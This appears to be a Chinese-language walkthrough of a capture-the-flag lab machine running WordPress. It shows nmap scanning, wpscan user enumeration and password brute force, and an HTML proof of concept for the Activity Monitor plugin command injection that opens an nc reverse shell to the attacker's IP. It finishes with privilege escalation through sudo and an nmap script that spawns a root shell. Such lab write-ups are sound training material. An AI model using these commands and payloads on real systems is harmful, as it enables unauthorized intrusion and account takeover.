靶机介绍
OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.
1 |
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt |
That should save you a few years. ;-)
运用的知识
wpsacn
爆破网站用户密码wordpress
后台Activity monitor
插件命令注入
获取shellnmap
提权获取root
信息搜集
拿到 IP
后对它进行扫描端口开放服务:
1 |
nmap -A -T4 192.168.1.145 |
扫描出来后发现它开放了 80
(http)、22
(ssh),紧接着访问 http://192.168.1.145
发现它重定向到了这个 URL :wordy
然后我设置了一下 hosts
文件:
设置好之后打开 http://wordy
发现它的 CMS 是 Wordpress
:
wpscan爆破网站用户密码
既然是 wordpress
那么我就先用 wpscan
来对它进行扫描把:
1 |
wpscan --url http://wordy/ -e u |
扫描出来后发现它有这些用户:
1 2 3 4 5 |
admin jens graham mark sarah |
紧接着我又生成了一些字典文件来对它网站进行爆破:
1 2 |
cat /usr/share/wordlists/rockyou.txt | grep k01 # 这是作者给我们的提示! |
生成完字典后对它网站用户名挨个爆破枚举,看看能不能捡漏:
1 |
wpscan --url http://wordy/ -U user -P passwords.txt |
爆破成功后得到 mark
的密码:
1 |
Username: mark, Password: helpdesk01 |
随后我用得到的账号和密码登陆到了网站的后台发现了一个插件:Activity monitor
Activity monitor 插件命令注入获取shell
看到这个插件我去搜索了一下发现有一个命令注入
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
PoC: --> <html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc 192.168.1.128 9999 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html> |
设置好之后 KALI 用 nc
监听 6666
端口,访问 poc.html
得到一枚 shell
:
先让他得到一个 bash
外壳把:
1 |
python -c 'import pty;pty.spawn("/bin/bash")' |
通过信息搜集我发现 mark
目录下有一个文件,里面泄露了 graham
的密码:
1 2 3 4 5 6 7 |
Things to do: - Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course - Buy new laptop for Sarah's replacement |
拿到密码后我 ssh
登陆到了 graham
:
sudo切换到jens用户
登陆成功后我习惯性的 sudo -l
发现 graham
用户可以以 jens
的身份去运行 /home/jens/backups.sh
文件:
查看 backups.sh
文件后发现它是一个解压的命令,接着我以 jens
身份去运行这个文件成功切换到了 jens
:
1 |
sudo -u jens /home/jens/backups.sh |
nmap提权
成功来到 jens
用户后我又是习惯性的 sudo -l
发现它可以以 root
身份去运行 /usr/bin/nmap
:
最后也是用 nmap
提权为 root
用户:
1 2 3 |
TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF |
最终也是在 /root
目录下拿到了 Flag
~
交流群:
微信公众号:
知识星球: